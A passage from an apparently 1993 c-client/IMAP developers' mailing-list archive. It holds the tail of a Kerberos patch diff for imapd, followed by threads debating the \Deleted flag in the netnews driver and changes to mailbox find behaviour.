**reply); + char *myusername (); + char *myhomedir (); + char *lockname (char *tmp,char *fname); + TCPSTREAM *tcp_open (char *host,int port); + TCPSTREAM *tcp_aopen (char *host,char *service); + char *tcp_getline (TCPSTREAM *stream); + long tcp_getbuffer (TCPSTREAM *stream,unsigned long size,char *buffer); + long tcp_getdata (TCPSTREAM *stream); + long tcp_soutr (TCPSTREAM *stream,char *string); + long tcp_sout (TCPSTREAM *stream,char *string,unsigned long size); + void tcp_close (TCPSTREAM *stream); + char *tcp_host (TCPSTREAM *stream); + char *tcp_localhost (TCPSTREAM *stream); diff -cr ./ANSI/imapd/Makefile /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/imapd/Makefile *** ./ANSI/imapd/Makefile Fri Jan 10 20:49:34 1992 --- /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/imapd/Makefile Tue Sep 28 13:29:56 1993 *************** *** 37,42 **** --- 37,43 ---- CFLAGS = -I$C `cat $C/CFLAGS` LDFLAGS = $C/c-client.a `cat $C/LDFLAGS` + CC=gcc imapd: C-CLIENT imapd.o $(CC) $(CFLAGS) -o imapd imapd.o $(LDFLAGS) diff -cr ./ANSI/imapd/imapd.c /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/imapd/imapd.c *** ./ANSI/imapd/imapd.c Thu Sep 23 02:45:08 1993 --- /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/imapd/imapd.c Tue Sep 28 15:38:43 1993 *************** *** 147,153 **** --- 147,155 ---- void (*f) () = NIL; mail_link (&tenexdriver); /* install the Tenex mail driver */ mail_link (&bezerkdriver); /* install the Berkeley mail driver */ + #ifndef ANDREW mail_link (&imapdriver); /* install the IMAP driver */ + #endif mail_link (&newsdriver); /* install the netnews driver */ mail_link (&nntpdriver); /* install the NNTP driver */ mail_link (&philedriver); /* install the file driver */ *************** *** 232,243 **** struct passwd *pwd; fs_give ((void **) &user); fs_give ((void **) &pass); /* two arguments */ if (!((user = cpystr (snarf (&arg))) && (pass = cpystr (snarf (&arg))))) response = misarg; else if (arg) response = badarg; /* see if username and password are OK */ ! else if (server_login (user,pass,&home,argc,argv)) state = SELECT; /* nope, see if we allow anonymous */ else if (!stat ("/etc/anonymous.newsgroups",&sbuf) && !strcmp (user,"anonymous") && (pwd = getpwnam ("nobody"))) { --- 234,249 ---- struct passwd *pwd; fs_give ((void **) &user); fs_give ((void **) &pass); + lsterr = NULL; /* two arguments */ if (!((user = cpystr (snarf (&arg))) && (pass = cpystr (snarf (&arg))))) response = misarg; else if (arg) response = badarg; /* see if username and password are OK */ ! else if (server_login (user,pass,&home,&lsterr)) { ! state = SELECT; ! if (lsterr) response = altwin; ! } /* nope, see if we allow anonymous */ else if (!stat ("/etc/anonymous.newsgroups",&sbuf) && !strcmp (user,"anonymous") && (pwd = getpwnam ("nobody"))) { *************** *** 248,253 **** --- 254,260 ---- /* run user's init */ dorc (strcat (strcpy (tmp,myhomedir ()),"/.imaprc")); } + else if (lsterr) response = lose; else response = "%s NO Bad %s user name and/or password\015\012"; } else response = "%s BAD Command unrecognized/login please: %s\015\012"; From pinedev@shivax2.cac.washington.edu Tue Sep 28 14:46:36 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA04742; Tue, 28 Sep 93 14:46:36 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20911; Tue, 28 Sep 93 14:46:23 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO4.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20905; Tue, 28 Sep 93 14:46:21 -0700 Received: from localhost (postman@localhost) by po4.andrew.cmu.edu (8.5/8.5) id RAA07997; Tue, 28 Sep 1993 17:46:17 -0400 Received: via switchmail; Tue, 28 Sep 1993 17:46:16 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 28 Sep 1993 17:46:00 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 28 Sep 1993 17:45:36 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Tue, 28 Sep 1993 17:45:30 -0400 (EDT) Message-Id: Date: Tue, 28 Sep 1993 17:45:30 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU Subject: Re: Kerberos diffs for 3.0 c-client In-Reply-To: References: Beak: is Not The diffs I provided included an old version of strcrlfcpy() inside os_sun.c. This needs to be replaced with an up-to-date version from one of the other os_* files in the 3.0 distribution. _.John From pinedev@shivax2.cac.washington.edu Wed Sep 29 13:27:00 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18374; Wed, 29 Sep 93 13:27:00 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA09078; Wed, 29 Sep 93 13:26:38 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA09072; Wed, 29 Sep 93 13:26:33 -0700 Received: from isagate by scapa.cs.ualberta.ca with UUCP id <18645-2>; Wed, 29 Sep 1993 14:23:17 -0600 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Wed, 29 Sep 93 14:12 MDT Received: from isa486-1 by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0oi7zs-000cw8C; Wed, 29 Sep 93 14:19 MDT Date: Wed, 29 Sep 1993 14:19:34 -0600 From: Steve Hole Subject: Re: Kerberos diffs for 3.0 c-client To: John Gardiner Myers Cc: c-client@cac.washington.edu Message-Id: Priority: Normal Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thanks very much for the patches John. Cheers. Steve. From pinedev@shivax2.cac.washington.edu Tue Oct 12 16:16:19 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28801; Tue, 12 Oct 93 16:16:19 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17865; Tue, 12 Oct 93 16:16:04 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO4.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17859; Tue, 12 Oct 93 16:16:02 -0700 Received: from localhost (postman@localhost) by po4.andrew.cmu.edu (8.5/8.5) id TAA12093; Tue, 12 Oct 1993 19:15:51 -0400 Received: via switchmail; Tue, 12 Oct 1993 19:15:49 -0400 (EDT) Received: from nifty.andrew.cmu.edu via qmail ID ; Tue, 12 Oct 1993 19:15:34 -0400 (EDT) Received: via niftymail; Tue, 12 Oct 1993 19:15:26 -0400 (EDT) Date: Tue, 12 Oct 1993 19:15:25 -0400 (EDT) From: Chris Newman Subject: Use of \DELETED in c-client To: imap@cac.washington.edu, c-client@cac.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <750467725.21131.0@nifty.andrew.cmu.edu> The current c-client netnews driver's use of \DELETED is dangerous and violates the specification. The specification states: "The EXPUNGE command permanently removes all messages with the \DELETED flag set from the currently selected mailbox." and "\DELETED Message is "deleted" for removal by later EXPUNGE" I read this as: The \DELETED flag does nothing until an EXPUNGE is issued, at which point the messages must be permanently removed from the mailbox. The c-client allows \DELETED to be set, and does not permanently remove the messages from the mailbox when EXPUNGE is issued. Either the c-client or the spec needs to be changed (I vote c-client). To quote John Myers: "As I've mentioned in a previous message, this is a dangerous model. It trains users to type "d" instead of "n" and will cause messages to inadvertently disappear when users walk into a mailbox to which they have delete access." That said, my understanding is that Pine users want both a per-session \SEEN state (what the \SEEN flag is used for in the netnews driver), and a permanent \SEEN state (what the \DELETED flag is used for). I'm curious why just a permanent \SEEN state (using the \SEEN flag) wouldn't suffice? - Chris From pinedev@shivax2.cac.washington.edu Tue Oct 12 16:46:11 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29952; Tue, 12 Oct 93 16:46:11 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21263; Tue, 12 Oct 93 16:45:53 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO3.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21253; Tue, 12 Oct 93 16:45:51 -0700 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.5/8.5) id TAA06947; Tue, 12 Oct 1993 19:45:47 -0400 Received: via switchmail; Tue, 12 Oct 1993 19:45:46 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 12 Oct 1993 19:44:28 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 12 Oct 1993 19:44:17 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Tue, 12 Oct 1993 19:44:12 -0400 (EDT) Message-Id: Date: Tue, 12 Oct 1993 19:44:12 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU Subject: Re: Use of \DELETED in c-client In-Reply-To: <750467725.21131.0@nifty.andrew.cmu.edu> References: <750467725.21131.0@nifty.andrew.cmu.edu> Beak: Is To add another relevant paragraph I sent to the imap list: "That design is based on the narrow view that mail and news are fundamentally different, distinguishable things which users process with different methodologies. CMU considers the two to be two extremes of the same sort of object which should be proecessed using the same tools and methodologies. We have both sorts of objects intermixed in our system and we have several objects that are neither one nor the other." This observation is backed up by the fact that Pine "knows" the difference between mail and news and behaves differently depending on how the macro IS_NEWS evaluates. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Tue Oct 12 16:53:01 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00270; Tue, 12 Oct 93 16:53:01 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18078; Tue, 12 Oct 93 16:52:49 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18066; Tue, 12 Oct 93 16:52:47 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA02308; Tue, 12 Oct 93 16:52:42 -0700 Date: Tue, 12 Oct 1993 16:42:21 -0700 (PDT) From: Mark Crispin Subject: re: Use of \DELETED in c-client To: Chris Newman , c-client Interest List In-Reply-To: <750467725.21131.0@nifty.andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Chris - A separate message discusses my contention that the IMAP protocol is not violated by c-client's usage of the \Deleted flag to mark .newsrc updates. Until recently, c-client used the \Seen flag to mark .newsrc updates, much as you suggested. This was changed to the \Deleted flag. Terry will undoubtably offer a more detailed explanation, but in short the reasoning is this: What we call ``read'' in mail and what we call ``read'' in news are fundamentally different concepts. In news, there is the extra semantic that what has been ``read'' is no longer part of the set of interesting messages that appears in the user's view by default. This is done because in some newsgroups, there may be thousands of messages. In traditional newsreaders, reading and view-removal are closely tied together. People who use such simple tools as rn read news in a fundamentally different way from how they read mail. In a basic sense, the way that messages in mail are removed from the view is by the mechanism of deletion and expunge. Simply reading the messages does not remove them from the view. The change to c-client enables this model of the world. It is not necessarily the one I would have picked, but it is an interesting model and it has received some initial positive responses. -- Mark -- From pinedev@shivax2.cac.washington.edu Tue Oct 12 16:53:00 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00268; Tue, 12 Oct 93 16:53:00 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18072; Tue, 12 Oct 93 16:52:48 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18064; Tue, 12 Oct 93 16:52:46 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA02304; Tue, 12 Oct 93 16:52:41 -0700 Date: Tue, 12 Oct 1993 16:24:24 -0700 (PDT) From: Mark Crispin Subject: re: Use of \DELETED in c-client To: Chris Newman , IMAP Interest List Cc: c-client Interest List In-Reply-To: <750467725.21131.0@nifty.andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Chris - I would like to take this discussion off the IMAP list. Follow-ups about whether this c-client behavior is a good idea or a bad idea should be directed to the c-client list. It is my opinion that the behavior of c-client's news driver with \Deleted does not conflict with the IMAP specification. This message concerns that issue only. A message directed to the c-client list only will address the reasons why c-client behaves the way it does. The news driver only responds to BBOARD class opens. On the August 30-31 meeting, it was observed that bboards imply a type of read-only access in which certain operations (CREATE, APPEND) are not meaningful at all. Certain other operations are either restricted in effect (STORE), or fundamentally meaningless (EXPUNGE) and execute as a no-op. Because EXPUNGE is a fundamentally meaningless operation on a BBOARD, the semantics of \Deleted as it applies to EXPUNGE become moot. \Deleted is simply a status, nothing more. There may need to be some additional clarifying wording in the IMAP specification: . An attempt to EXPUNGE when it is meaningless (as opposed to an error in expunging) should be treated as a no-op (respond with OK, not NO). For example, it is meaningless to expunge a read-only mailbox or a bboard. . Some additional discussion on what bboards actually mean may be needed in the description of the BBOARD command. -- Mark -- From pinedev@shivax2.cac.washington.edu Wed Oct 13 09:39:24 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21272; Wed, 13 Oct 93 09:39:24 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29499; Wed, 13 Oct 93 08:30:06 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO4.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29468; Wed, 13 Oct 93 08:29:00 -0700 Received: from localhost (postman@localhost) by po4.andrew.cmu.edu (8.5/8.5) id LAA04473; Wed, 13 Oct 1993 11:28:50 -0400 Received: via switchmail; Wed, 13 Oct 1993 11:28:46 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Wed, 13 Oct 1993 11:28:34 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Wed, 13 Oct 1993 11:28:28 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Wed, 13 Oct 1993 11:28:24 -0400 (EDT) Message-Id: Date: Wed, 13 Oct 1993 11:28:24 -0400 (EDT) From: John Gardiner Myers Subject: Re: Use of \DELETED in c-client To: c-client Interest List In-Reply-To: References: Beak: Is Mark Crispin writes: > The news driver only responds to BBOARD class opens. The news driver also responds to SELECT class opens where the first character of the mailbox name is '*'. Pine knows about this and will switch into "news mode" if the first character of a normal-namespace mailbox is '*'. > What we call ``read'' in mail and what we call ``read'' in news are > fundamentally different concepts. In news, there is the extra semantic that > what has been ``read'' is no longer part of the set of interesting messages > that appears in the user's view by default. This is done because in some > newsgroups, there may be thousands of messages. This is the view that "because we currently use different tools for mail and news, they are fundamentally different concepts." At CMU, we have had great success in removing these blinders. Newsgroups do not have a monopoly on "thousands of messages". For instance, my primary mailbox has 3873 messages at the moment. There are also "shared mailboxes" with thousands of messages. What we call "read" in mail and what we call "read" in news are the same concept. They are both per-user, per-message bits which automatically change state when the user views a message. The user usually also has a separate ability to change state from "read" to "unread" or "unread" to "read". There are two useful modes for reading messages. One is the "read new messages" mode where you are only interested in new messages and wish to have a view which is restricted to new messages. Another is a "browse" mode, where you want to see all messages. Traditional newsreaders such as rn tend to only support the first mode. It is particularly painful to try to browse an already-read newsgroup with rn--you either slog through message-by-message or you have to mark everything as unread and start over. Traditional mail readers tended to only support "browse" mode because there was only one mailbox that ever got new messages. When you start getting multiple inboxes and shared mailboxes, the "read new messages" mode becomes necessary for dealing with mail. > The change to c-client enables this model of the world. It is > not necessarily the one I would have picked, but it is an > interesting model and it has received some initial positive > responses. The change to c-client was not necessary for this model of the world. Clients can switch into a mode where \Seen messages are removed from the user's view without the help of the server. What the change does is require this model of the world. Either the client or the user has to know that the server is in "news mode" and change their behavior appropriately. As we've mentioned before, it is extremely dangerous to require the user to change their behavior. The change also provides a strong disincentive for clients to be able to provide the "read new messages" mode for mail, since they would have to do it differently than they do for news. Having clients know as much detail about the peculiarities of the c-client imapd as Pine does is going to lead to serious interoperation problems. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Wed Oct 13 14:35:25 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02401; Wed, 13 Oct 93 14:35:25 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA06719; Wed, 13 Oct 93 14:34:59 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA06713; Wed, 13 Oct 93 14:34:53 -0700 Received: from scapa.cs.ualberta.ca by scapa.cs.ualberta.ca with UUCP id <18634-1>; Wed, 13 Oct 1993 15:34:41 -0600 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Wed, 13 Oct 93 15:31 MDT Received: from isa486-1 by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0onDuH-000cvoC; Wed, 13 Oct 93 15:38 MDT Date: Wed, 13 Oct 1993 15:38:37 -0600 From: Steve Hole Subject: re: Use of \DELETED in c-client To: Mark Crispin Cc: c-client Interest List Message-Id: Priority: Normal Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 12 Oct 1993 17:42:21 -0600 Mark Crispin wrote: > From: Mark Crispin > Date: Tue, 12 Oct 1993 17:42:21 -0600 > Subject: re: Use of \DELETED in c-client > To: Chris Newman , > c-client Interest List > > Chris - > > A separate message discusses my contention that the IMAP protocol is not > violated by c-client's usage of the \Deleted flag to mark .newsrc updates. Agreed. > Until recently, c-client used the \Seen flag to mark .newsrc updates, > much as you suggested. This was changed to the \Deleted flag. Terry will > undoubtably offer a more detailed explanation, but in short the reasoning is > this: > > What we call ``read'' in mail and what we call ``read'' in news are > fundamentally different concepts. In news, there is the extra semantic that > what has been ``read'' is no longer part of the set of interesting messages > that appears in the user's view by default. This is done because in some > newsgroups, there may be thousands of messages. > > In traditional newsreaders, reading and view-removal are closely tied > together. People who use such simple tools as rn read news in a fundamentally > different way from how they read mail. > > In a basic sense, the way that messages in mail are removed from the view > is by the mechanism of deletion and expunge. Simply reading the messages does > not remove them from the view. Well, I think that we are coming to the nub of the rub (so to speak). I think that John, Chris and I fundamentally disagree with this view. Perhaps we should take it up with Terry? Anyway, I contend that view removal does not and should not have anything to do with the physical manipulation of the messages. \Delete implies physical deletion. Changing the view to sort filter out \Seen messages is entirely different. I agree that filtering is a more difficult problem for client interfaces to solve. We spent a lot of time on it, and it still isn't quite complete. It is beautiful when you can do it though. Having paid the price I can understand why simple work arounds would be of interest. So, the remaining problem is this. Can we get the \Seen flag interpretation for News back to its original form. I guess that I can live with the \Deleted form *as well*, but the \Seen must work right for ECSMail. Terry, your thoughts please? Cheers. -- Steve Hole Director of Research and Communications ISA Corporation mail: Steve.Hole@Edm.ISAC.CA Suite 835, 10040 - 104 St. phone: (403) 420-8081 Edmonton, Alberta, Canada fax: (403) 420-8037 T5J 0Z2 From pinedev@shivax2.cac.washington.edu Wed Oct 13 14:44:33 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02706; Wed, 13 Oct 93 14:44:33 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA06968; Wed, 13 Oct 93 14:44:21 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA06962; Wed, 13 Oct 93 14:44:20 -0700 Received: by shiva1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17595; Wed, 13 Oct 93 14:44:04 -0700 Date: Wed, 13 Oct 1993 14:41:56 -0700 (PDT) From: Terry Gray Subject: re: Use of \DELETED in c-client To: Steve Hole Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Steve, I'm hoping to be able to offer some thoughts on this topic shortly (by the end of the day?) -teg From pinedev@shivax2.cac.washington.edu Thu Oct 14 16:18:47 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14057; Thu, 14 Oct 93 16:18:47 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27822; Thu, 14 Oct 93 16:18:20 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27812; Thu, 14 Oct 93 16:18:17 -0700 Received: from scapa.cs.ualberta.ca by scapa.cs.ualberta.ca with UUCP id <18637-1>; Thu, 14 Oct 1993 17:18:11 -0600 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Thu, 14 Oct 93 16:58 MDT Received: from isa486-1 by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0onbjp-000cvoC; Thu, 14 Oct 93 17:05 MDT Date: Thu, 14 Oct 1993 17:05:23 -0600 From: Steve Hole Subject: Some problems with the imapd-3.0 (Pine 3.87) release To: Mark Crispin Cc: c-client@CAC.Washington.EDU Message-Id: Priority: Normal Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi Mark. We have found some problems with the imapd-3.0 release that is distributed with Pine 3.87. As far as I know, this is the definitive version of the imapd-3.0 release? (1) The behaviour of a mail_find_all (FIND ALL *) has changed for the Bezerk driver. It now return a list of every file that is matched by the pattern, without checking to see if they are valid folders. This is causing us some problems with our new folder subscription mechanism because it will include non-mail folder files in the list. We have provided a mechanism for users to access folders in (potentially) any place on the server in which they have access. If they get binaries and such in the folder list, then the potential problems are obvious. The bottom line is that we pretty much like the way it worked before. What we would like to see specifically is: * bezerk_find_all() should perform bezerk_is_valid() on any potential match before including it in the list of matches sent to the client. * 0 length files should match *regardless* of whether they have a ".txt" suffix or not. (2) The behaviour of mail_find is not what we expected for the Bezerk driver. If you do a bezerk_find() and there is no subscription database, then it does a call to bezerk_find_all() - returning all of the folders that are returned by (1). This completely defeats our subscription mechanism where we wish to present a list of subscribed folders on one side and a list of unsubscribed but available folders on the other side. News and Dawz do the right thing. Also, the Bezerk driver will (correctly) create a subscription database if it does not exist on the first subscription. We would like: * bezerk_find to return an empty list if there is no subscription database - just like News and Dawz do. * bezerk_find to return only the contents of the subscription database if it does exist. This is the way that it works now, I'm just trying to be complete. I can see how some of the changes have evolved with new the new version of Pine. I suspect that some of the changes that we have seen were required by Pine. If so, perhaps there are some work arounds that we can do? We would be perfectly happy to make these changes and send them off to you in the form of patches Mark. What do you think? Cheers. -- Steve Hole Director of Research and Communications ISA Corporation mail: Steve.Hole@Edm.ISAC.CA Suite 835, 10040 - 104 St. phone: (403) 420-8081 Edmonton, Alberta, Canada fax: (403) 420-8037 T5J 0Z2 From pinedev@shivax2.cac.washington.edu Thu Oct 14 22:31:52 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA24223; Thu, 14 Oct 93 22:31:52 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02946; Thu, 14 Oct 93 22:31:33 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02940; Thu, 14 Oct 93 22:31:31 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA06084; Thu, 14 Oct 93 22:31:23 -0700 Date: Thu, 14 Oct 1993 19:18:26 -0700 (PDT) From: Mark Crispin Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release To: Steve Hole Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Hi Steve - mail_find*() behavior has changed several times in c-client, as we tried various schemes and found which worked and which didn't work. It's been changed several times. We weren't aware that you (or anyone else outside of UW) were using it, or we would have made sure you were informed of what was going on. We discovered so many problems in find handling (only the really major ones are discussed here) that we didn't think anyone could use it! ;-) The orignal find handling was: find use subscription list (null results if no subscription list) findall do directory scan with validation Pine doesn't use subscription lists yet, so it used findall. This didn't work out. The problem was, checking for mailbox validity via the _valid() routine turned out to be a big performance lose. Substantial amounts of time was expended in that code. The next means of find handling was: find if a subscription list exists, use it, else do directory scan without validation (``fast finding'') findall do directory scan with validation The idea here was to leave findall as a thorough validating find, but have something fast for regular find (and let the few people who use subscription lists win). Then came the killer: the new arbitrary file driver (phile), which essentially meant that there was no such thing as a ``file'' that was not a mailbox. That brings us to the current, transitional means of find handling: find if a subscription list exists, use it, else do findall findall do directory scan without validation However, that is only until all old versions of Pine (mostly PC-Pine) that used mail_find() (3.84 and 3.85) become extinct. Hopefully this will not be long. The planned final version is: find use subscription list (null results if no subscription list) findall do directory scan without validation There are no plans to re-attempt any validation that it is really a mailbox object, since the concept of a filesystem object that cannot be referenced as a mailsystem object is becoming extinct in c-client. The fact that the validation was horribly slow is just one more nail in the coffin... In 3.1 of the c-client/IMAP toolkit, the transition is well under way. Among some of the things which have already happened are: 1) the special extension of Tenex format is now .TxT 2) an MTX driver for UNIX, compatible with the format used on DOS, is in the works and probably will replace the Tenex driver eventually (or the Tenex driver will be used just to read in old cmm files). It uses the special extension of .MTX 3) work is underway to eliminate special extensions entirely; that is, to deal with the zero-length file problem in a different way. This isn't quite what you've asked for, but I think it's probably an improvement over what you're dealing with now with the transitional code. Please take a look at the 3.1 toolkit since this is closer to what is in Pine 3.87 than the 3.0 toolkit. In particular, the unfavorable interaction with subscriptions will go away. Not clear yet, but it's likely that a 4.0 toolkit will be sooner than later; that's going to be the version that supports the IMAP2bis Proposed Standard when that happens. I hope this message is good news for you... -- Mark -- From pinedev@shivax2.cac.washington.edu Fri Oct 15 19:58:38 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29231; Fri, 15 Oct 93 19:58:38 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19687; Fri, 15 Oct 93 19:57:59 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19681; Fri, 15 Oct 93 19:57:55 -0700 Received: from scapa.cs.ualberta.ca by scapa.cs.ualberta.ca with UUCP id <18669-1>; Fri, 15 Oct 1993 20:57:45 -0600 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Fri, 15 Oct 93 09:56 MDT Received: from isa486-1 by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0onrdH-000cvoC; Fri, 15 Oct 93 10:03 MDT Date: Fri, 15 Oct 1993 10:03:38 -0600 From: Steve Hole Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release To: Mark Crispin Cc: c-client Interest List Message-Id: Priority: Normal Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 14 Oct 1993 20:18:26 -0600 Mark Crispin wrote: > From: Mark Crispin > Date: Thu, 14 Oct 1993 20:18:26 -0600 > Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release > To: Steve Hole > Cc: c-client Interest List > > Pine doesn't use subscription lists yet, so it used findall. This didn't > work out. The problem was, checking for mailbox validity via the > _valid() routine turned out to be a big performance lose. Substantial > amounts of time was expended in that code. This is true. It kind of worries me that somebody can select a file as a folder when it really isn't one, but I guess we can live with that. It's too bad that we couldn't provide some sort of feedback to the user on type, but I don't see how without looking inside. Even if we were to start writing and looking for a folder magic number, it would require some sort of conversion on existing folders. > There are no plans to re-attempt any validation that it is really a > 